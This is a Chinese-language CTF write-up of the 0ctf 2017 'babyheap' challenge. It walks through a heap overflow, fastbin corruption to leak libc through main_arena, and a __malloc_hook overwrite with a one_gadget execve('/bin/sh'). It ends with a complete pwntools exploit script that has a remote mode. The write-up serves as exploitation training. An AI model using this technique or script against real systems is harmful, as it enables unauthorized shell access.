直接拿
http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
的完整exp分析吧
这是0ctf 2017的一道pwn题。
主要是两点,第一点是怎么泄露libc的基地址,第二点是怎么执行shell
漏洞点:在fill函数中,IDA逆向分析如下:
unsigned __int64 __fastcall fill(pr_heap *a1)
{
unsigned __int64 result; // rax@1
int index; // [sp+18h] [bp-8h]@1
int size; // [sp+1Ch] [bp-4h]@4
printf("Index: ");
result = read_to_int();
index = result;
if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 )
{
result = LODWORD(a1[(signed int)result].alloc_or_not);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = read_to_int();
size = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = read_data((__int64)a1[index].heap, size);
}
}
}
return result;
}
漏洞是在往堆中fill数据时,数据大小是用户可以控制的 ,这样就可以覆盖堆后边的数据了。
void __fastcall allocate(pr_heap *base)
{
signed int index; // [sp+10h] [bp-10h]@1
signed int size; // [sp+14h] [bp-Ch]@3
void *heap_start_address; // [sp+18h] [bp-8h]@6
for ( index = 0; index <= 15; ++index )
{
if ( !LODWORD(base[index].alloc_or_not) )
{
printf("Size: ");
size = read_to_int();
if ( size > 0 )
{
if ( size > 4096 )
size = 4096;
heap_start_address = calloc(size, 1uLL);
if ( !heap_start_address )
exit(-1);
LODWORD(base[index].alloc_or_not) = 1;
*(_QWORD *)&base[index].size = size;
base[index].heap = heap_start_address;
printf("Allocate Index %d\n", (unsigned int)index);
}
return;
}
}
}
在创建堆时有一个结构体,这个结构体大概是这样的:
struct pr_heap
{
double alloc_or_not;
double size;
void *heap;
};
第一个0或者1,表示是否分配
第二个是分配的大小
第三个是指针指向堆的地址。
因为开启了PIE,所以需要泄露libc的基地址才能利用成功。
首先看获取libc基地址的方法:
首先应该记住这样一条规律:当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了
所以重点是当small chunk释放时,能读出fd 或者 bk的值
贴一下该处的利用代码:
r.recvuntil(': ')
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x20)
#pause()
alloc(0x80)
free(1)
free(2)
#pause()
payload = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0)
fill(0, payload)
payload = p64(0)*5
payload += p64(0x31)
fill(3, payload)
alloc(0x20)
alloc(0x20)
payload = p64(0)*5
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20 #0x3a5678
log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58))
log.info("libc_base: " + hex(libc_base))
首先申请5个堆块,前四个是0x20大小,后一个是0x80大小,分配后结构体所在内存布局如下:
gdb-peda$ x/20gx 0x2535a18ce740
0x2535a18ce740: 0x0000000000000001 0x0000000000000020
0x2535a18ce750: 0x00005560dae45010 0x0000000000000001
0x2535a18ce760: 0x0000000000000020 0x00005560dae45040
0x2535a18ce770: 0x0000000000000001 0x0000000000000020
0x2535a18ce780: 0x00005560dae45070 0x0000000000000001
0x2535a18ce790: 0x0000000000000020 0x00005560dae450a0
0x2535a18ce7a0: 0x0000000000000001 0x0000000000000080
0x2535a18ce7b0: 0x00005560dae450d0 0x0000000000000000
堆内存布局:
gdb-peda$ x/30gx 0x00005560dae45000
0x5560dae45000: 0x0000000000000000 0x0000000000000031
0x5560dae45010: 0x0000000000000000 0x0000000000000000
0x5560dae45020: 0x0000000000000000 0x0000000000000000
0x5560dae45030: 0x0000000000000000 0x0000000000000031
0x5560dae45040: 0x0000000000000000 0x0000000000000000
0x5560dae45050: 0x0000000000000000 0x0000000000000000
0x5560dae45060: 0x0000000000000000 0x0000000000000031
0x5560dae45070: 0x0000000000000000 0x0000000000000000
0x5560dae45080: 0x0000000000000000 0x0000000000000000
0x5560dae45090: 0x0000000000000000 0x0000000000000031
0x5560dae450a0: 0x0000000000000000 0x0000000000000000
0x5560dae450b0: 0x0000000000000000 0x0000000000000000
0x5560dae450c0: 0x0000000000000000 0x0000000000000091
0x5560dae450d0: 0x0000000000000000 0x0000000000000000
0x5560dae450e0: 0x0000000000000000 0x0000000000000000
然后释放index为1,2的块:
gdb-peda$ x/20gx 0x2535a18ce740
0x2535a18ce740: 0x0000000000000001 0x0000000000000020
0x2535a18ce750: 0x00005560dae45010 0x0000000000000000
0x2535a18ce760: 0x0000000000000000 0x0000000000000000
0x2535a18ce770: 0x0000000000000000 0x0000000000000000
0x2535a18ce780: 0x0000000000000000 0x0000000000000001
0x2535a18ce790: 0x0000000000000020 0x00005560dae450a0
0x2535a18ce7a0: 0x0000000000000001 0x0000000000000080
0x2535a18ce7b0: 0x00005560dae450d0 0x0000000000000000
0x2535a18ce7c0: 0x0000000000000000 0x0000000000000000
0x2535a18ce7d0: 0x0000000000000000 0x0000000000000000
然后向index=0的内存填充数据,由于堆溢出的漏洞,可以覆盖后边的内存。
填充前:
gdb-peda$ x/30gx 0x00005560dae45000
0x5560dae45000: 0x0000000000000000 0x0000000000000031
0x5560dae45010: 0x0000000000000000 0x0000000000000000
0x5560dae45020: 0x0000000000000000 0x0000000000000000
0x5560dae45030: 0x0000000000000000 0x0000000000000031
0x5560dae45040: 0x0000000000000000 0x0000000000000000
0x5560dae45050: 0x0000000000000000 0x0000000000000000
0x5560dae45060: 0x0000000000000000 0x0000000000000031
0x5560dae45070: 0x00005560dae45030 0x0000000000000000
0x5560dae45080: 0x0000000000000000 0x0000000000000000
0x5560dae45090: 0x0000000000000000 0x0000000000000031
0x5560dae450a0: 0x0000000000000000 0x0000000000000000
0x5560dae450b0: 0x0000000000000000 0x0000000000000000
0x5560dae450c0: 0x0000000000000000 0x0000000000000091
0x5560dae450d0: 0x0000000000000000 0x0000000000000000
0x5560dae450e0: 0x0000000000000000 0x0000000000000000
填充后:
gdb-peda$ x/30gx 0x00005560dae45000
0x5560dae45000: 0x0000000000000000 0x0000000000000031
0x5560dae45010: 0x0000000000000000 0x0000000000000000
0x5560dae45020: 0x0000000000000000 0x0000000000000000
0x5560dae45030: 0x0000000000000000 0x0000000000000031
0x5560dae45040: 0x0000000000000000 0x0000000000000000
0x5560dae45050: 0x0000000000000000 0x0000000000000000
0x5560dae45060: 0x0000000000000000 0x0000000000000031
0x5560dae45070: 0x00005560dae450c0 0x0000000000000000
0x5560dae45080: 0x0000000000000000 0x0000000000000000
0x5560dae45090: 0x0000000000000000 0x0000000000000031
0x5560dae450a0: 0x0000000000000000 0x0000000000000000
0x5560dae450b0: 0x0000000000000000 0x0000000000000000
0x5560dae450c0: 0x0000000000000000 0x0000000000000091
0x5560dae450d0: 0x0000000000000000 0x0000000000000000
0x5560dae450e0: 0x0000000000000000 0x0000000000000000
可以发现变化,
填充将0x5560dae45070的末尾字节由0x30改成了0xc0,此处正好是fastbin的fd 指向第二次分配fast chunk时的地址 也就是说第一次分配从0x5560dae45060开始,第二次分配从0x5560dae450c0开始了。
payload = p64(0)*5
payload += p64(0x31)
fill(3, payload)
本来index=4的堆大小为0x90 此处填充覆盖index=4的堆首表示堆大小的值为0x31 ,也就是将堆从small chunk变成了fast chunk。为什么这样做呢 是为了后边分配0x30堆时的校验通过。
alloc(0x20)
alloc(0x20)
此时在分配两个大小为0x20的堆,第一个分配到0x5560dae45060处,第二次分配到0x5560dae450c0处
gdb-peda$ x/20gx 0x2535a18ce740
0x2535a18ce740: 0x0000000000000001 0x0000000000000020
0x2535a18ce750: 0x00005560dae45010 0x0000000000000001
0x2535a18ce760: 0x0000000000000020 0x00005560dae45070
0x2535a18ce770: 0x0000000000000001 0x0000000000000020
0x2535a18ce780: 0x00005560dae450d0 0x0000000000000001
0x2535a18ce790: 0x0000000000000020 0x00005560dae450a0
0x2535a18ce7a0: 0x0000000000000001 0x0000000000000080
0x2535a18ce7b0: 0x00005560dae450d0 0x0000000000000000
0x2535a18ce7c0: 0x0000000000000000 0x0000000000000000
0x2535a18ce7d0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/30gx 0x00005560dae45000
0x5560dae45000: 0x0000000000000000 0x0000000000000031
0x5560dae45010: 0x0000000000000000 0x0000000000000000
0x5560dae45020: 0x0000000000000000 0x0000000000000000
0x5560dae45030: 0x0000000000000000 0x0000000000000031
0x5560dae45040: 0x0000000000000000 0x0000000000000000
0x5560dae45050: 0x0000000000000000 0x0000000000000000
0x5560dae45060: 0x0000000000000000 0x0000000000000031
0x5560dae45070: 0x0000000000000000 0x0000000000000000
0x5560dae45080: 0x0000000000000000 0x0000000000000000
0x5560dae45090: 0x0000000000000000 0x0000000000000031
0x5560dae450a0: 0x0000000000000000 0x0000000000000000
0x5560dae450b0: 0x0000000000000000 0x0000000000000000
0x5560dae450c0: 0x0000000000000000 0x0000000000000031
0x5560dae450d0: 0x0000000000000000 0x0000000000000000
0x5560dae450e0: 0x0000000000000000 0x0000000000000000
payload = p64(0)*5
payload += p64(0x91)
fill(3, payload)
此处重新将index=4的堆大小修改为0x90,即small chunk。
alloc(0x80)
分配大小为0x90的块,index=5:
gdb-peda$ x/20gx 0x2535a18ce740
0x2535a18ce740: 0x0000000000000001 0x0000000000000020
0x2535a18ce750: 0x00005560dae45010 0x0000000000000001
0x2535a18ce760: 0x0000000000000020 0x00005560dae45070
0x2535a18ce770: 0x0000000000000001 0x0000000000000020
0x2535a18ce780: 0x00005560dae450d0 0x0000000000000001
0x2535a18ce790: 0x0000000000000020 0x00005560dae450a0
0x2535a18ce7a0: 0x0000000000000001 0x0000000000000080
0x2535a18ce7b0: 0x00005560dae450d0 0x0000000000000001
0x2535a18ce7c0: 0x0000000000000080 0x00005560dae45160
0x2535a18ce7d0: 0x0000000000000000 0x0000000000000000
经过以上操作,
可以看到index=2和index=4处的堆地址是一样的了
free(4)
此时将index=4的堆释放,根据文章刚开头的介绍,此时index=4的堆(small bin)的fd bk都保存一个指针,这个指针地址在main_arena的0x58偏移处,指向top chunk的地址。
gdb-peda$ x/20gx 0x2535a18ce740
0x2535a18ce740: 0x0000000000000001 0x0000000000000020
0x2535a18ce750: 0x00005560dae45010 0x0000000000000001
0x2535a18ce760: 0x0000000000000020 0x00005560dae45070
0x2535a18ce770: 0x0000000000000001 0x0000000000000020
0x2535a18ce780: 0x00005560dae450d0 0x0000000000000001
0x2535a18ce790: 0x0000000000000020 0x00005560dae450a0
0x2535a18ce7a0: 0x0000000000000000 0x0000000000000000
0x2535a18ce7b0: 0x0000000000000000 0x0000000000000001
0x2535a18ce7c0: 0x0000000000000080 0x00005560dae45160
0x2535a18ce7d0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/30gx 0x00005560dae45000
0x5560dae45000: 0x0000000000000000 0x0000000000000031
0x5560dae45010: 0x0000000000000000 0x0000000000000000
0x5560dae45020: 0x0000000000000000 0x0000000000000000
0x5560dae45030: 0x0000000000000000 0x0000000000000031
0x5560dae45040: 0x0000000000000000 0x0000000000000000
0x5560dae45050: 0x0000000000000000 0x0000000000000000
0x5560dae45060: 0x0000000000000000 0x0000000000000031
0x5560dae45070: 0x0000000000000000 0x0000000000000000
0x5560dae45080: 0x0000000000000000 0x0000000000000000
0x5560dae45090: 0x0000000000000000 0x0000000000000031
0x5560dae450a0: 0x0000000000000000 0x0000000000000000
0x5560dae450b0: 0x0000000000000000 0x0000000000000000
0x5560dae450c0: 0x0000000000000000 0x0000000000000091
0x5560dae450d0: 0x00007ff583cffb78 0x00007ff583cffb78
0x5560dae450e0: 0x0000000000000000 0x0000000000000000
gdb-peda$ p main_arena
$1 = struct malloc_state {
mutex = 0x0
flags = 0x0
fastbinsY = {...}
top = 0x5560dae451e0
last_remainder = 0x0
bins = {...}
binmap = {...}
next = 0x7ff583cffb20
next_free = 0x0
attached_threads = 0x1
system_mem = 0x21000
max_system_mem = 0x21000
gdb-peda$ vmmap
Start End Perm Name
。。。。。。。。
0x00007ff58393b000 0x00007ff583afb000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
。。。。。。。。
0x00007ff583f2c000 0x00007ff583f2d000 rw-p mapped
0x00007fff21261000 0x00007fff21282000 rw-p [stack]
0x00007fff2139c000 0x00007fff2139e000 r--p [vvar]
0x00007fff2139e000 0x00007fff213a0000 r-xp [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
main_arena在libc data段 偏移为0x7ff583cffb20-0x00007ff58393b000=0x3c4b20
libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20
因为index=2和index=4的堆地址是一样的,所以通过index=2的堆dump函数就可以读取出fd的数据了 。
经过以上分析调试,就可以读取出libc的基地址了。
下边是介绍怎么获取shell。
gdb-peda$ x/30gx 0x7ff583cffb20-0x30
0x7ff583cffaf0 <_IO_wide_data_0+304>: 0x00007ff583cfe260 0x0000000000000000
0x7ff583cffb00 <__memalign_hook>: 0x00007ff5839c0e20 0x00007ff5839c0a00
0x7ff583cffb10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ff583cffb20 : 0x0000000000000000 0x0000000000000000
0x7ff583cffb30 : 0x0000000000000000 0x0000000000000000
0x7ff583cffb40 : 0x0000000000000000 0x0000000000000000
0x7ff583cffb50 : 0x0000000000000000 0x0000000000000000
在mian_arena上边有个malloc_hook,当此处的值不为0的时候,程序就会跳到该处保存地址的地方指向代码。
所以思路是,在main_arena上方地址创建堆,填充数据,比如填充指向shellcode的地址,然后就可以跳转到shellcode执行了。
还有个比较麻烦的地方就是控制堆的大小,因为此处用到fast chunk,所以此处堆的大小为0x20-0x80,我们可以看到0x7ff583cffafc处,正好是0x00007f,符合我们的要求,所以可以在0x7ff583cffaed(此处指向堆首)处创建一个堆,然后填充数据,将malloc_hook填充为shellcode。
gdb-peda$ x/20gx 0x7ff583cffaec
0x7ff583cffaec <_IO_wide_data_0+300>: 0x83cfe26000000000 0x0000000000007ff5
0x7ff583cffafc: 0x839c0e2000000000 0x839c0a0000007ff5
0x7ff583cffb0c <__realloc_hook+4>: 0x0000000000007ff5 0x0000000000000000
0x7ff583cffb1c: 0x0000000000000000 0x0000000000000000
0x7ff583cffb2c : 0x0000000000000000 0x0000000000000000
0x7ff583cffb3c : 0x0000000000000000 0x0000000000000000
0x7ff583cffb4c : 0x0000000000000000 0x0000000000000000
0x7ff583cffb5c : 0x0000000000000000 0x0000000000000000
0x7ff583cffb6c : 0x0000000000000000 0xdae451e000000000
0x7ff583cffb7c : 0xdae4513000005560 0xdae4513000005560
先把此处的代码贴出来:
alloc(0x68)
free(4)
pause()
fill(2, p64(libc_base + 0x3c4aed))
alloc(0x60)
alloc(0x60)
#pause()
payload = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
fill(6, payload)
#pause()
alloc(255)
r.interactive()
此处将刚才创建的small chunk修改fast chunk(其实是释放后的 )
fill(2, p64(libc_base + 0x3c4aed)) 将index=2的堆填充为malloc_hook前要创建的堆的堆首地址,也就是将index=4的fd修改为相同。
先从index=2或者index=4处创建大小为0x70的堆,此时因为fd指向libc_base + 0x3c4aed,所以下次创建大小是0x70的堆时,就在libc_base + 0x3c4aed创建 inedx=6
payload = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
fill(6, payload)
此时 填充index=6的堆,也就是在malloc_hook前创建的堆,然后将malloc_hook填充为shellcode的地址 。
alloc(255)
再次创建堆块时,shellcode得到执行,获取了shell。
最终结果:
shellcode获取:
在libc中包含execve('/bin/sh'),可以直接调用 。
可以通过one_gadget工具直接搜索相关代码
https://github.com/david942j/one_gadget
:
root@yang-virtual-machine:~/ctf# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf66c0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
root@yang-virtual-machine:~/ctf#
比如此处的0x4526a的代码可以直接调用。
完整exp:
from pwn import *
import sys
def alloc(size):
r.sendline('1')
r.sendlineafter(': ', str(size))
r.recvuntil(': ', timeout=1)
def fill(idx, data):
r.sendline('2')
r.sendlineafter(': ', str(idx))
r.sendlineafter(': ', str(len(data)))
r.sendafter(': ', data)
r.recvuntil(': ')
def free(idx):
r.sendline('3')
r.sendlineafter(': ', str(idx))
r.recvuntil(': ')
def dump(idx):
r.sendline('4')
r.sendlineafter(': ', str(idx))
r.recvuntil(': \n')
data = r.recvline()
r.recvuntil(': ')
return data
def exploit(r):
r.recvuntil(': ')
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x20)
#pause()
alloc(0x80)
pause()
free(1)
free(2)
#pause()
payload = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0)
fill(0, payload)
payload = p64(0)*5
payload += p64(0x31)
fill(3, payload)
alloc(0x20)
alloc(0x20)
payload = p64(0)*5
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20 #0x3a5678
log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58))
log.info("libc_base: " + hex(libc_base))
alloc(0x68)
free(4)
pause()
fill(2, p64(libc_base + 0x3c4aed))
alloc(0x60)
alloc(0x60)
#pause()
payload = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
fill(6, payload)
#pause()
alloc(255)
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
#r = process(['./babyheap'], env={"LD_PRELOAD":"./libc.so.6"})
r = process('./babyheap')
print util.proc.pidof(r)
#pause()
exploit(r)
几点疑问:
1. 在 alloc(0x68)时,为什么堆首大小是0x71呢
2. 在alloc(0x60处),为什么堆首大小还是0x7f呢 就是最后在malloc_hook上申请的那个堆
参考链接:
1.
http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
2.
http://0x48.pw/2017/08/01/0x36/
3.
https://poning.me/2017/03/24/baby-heap-2017/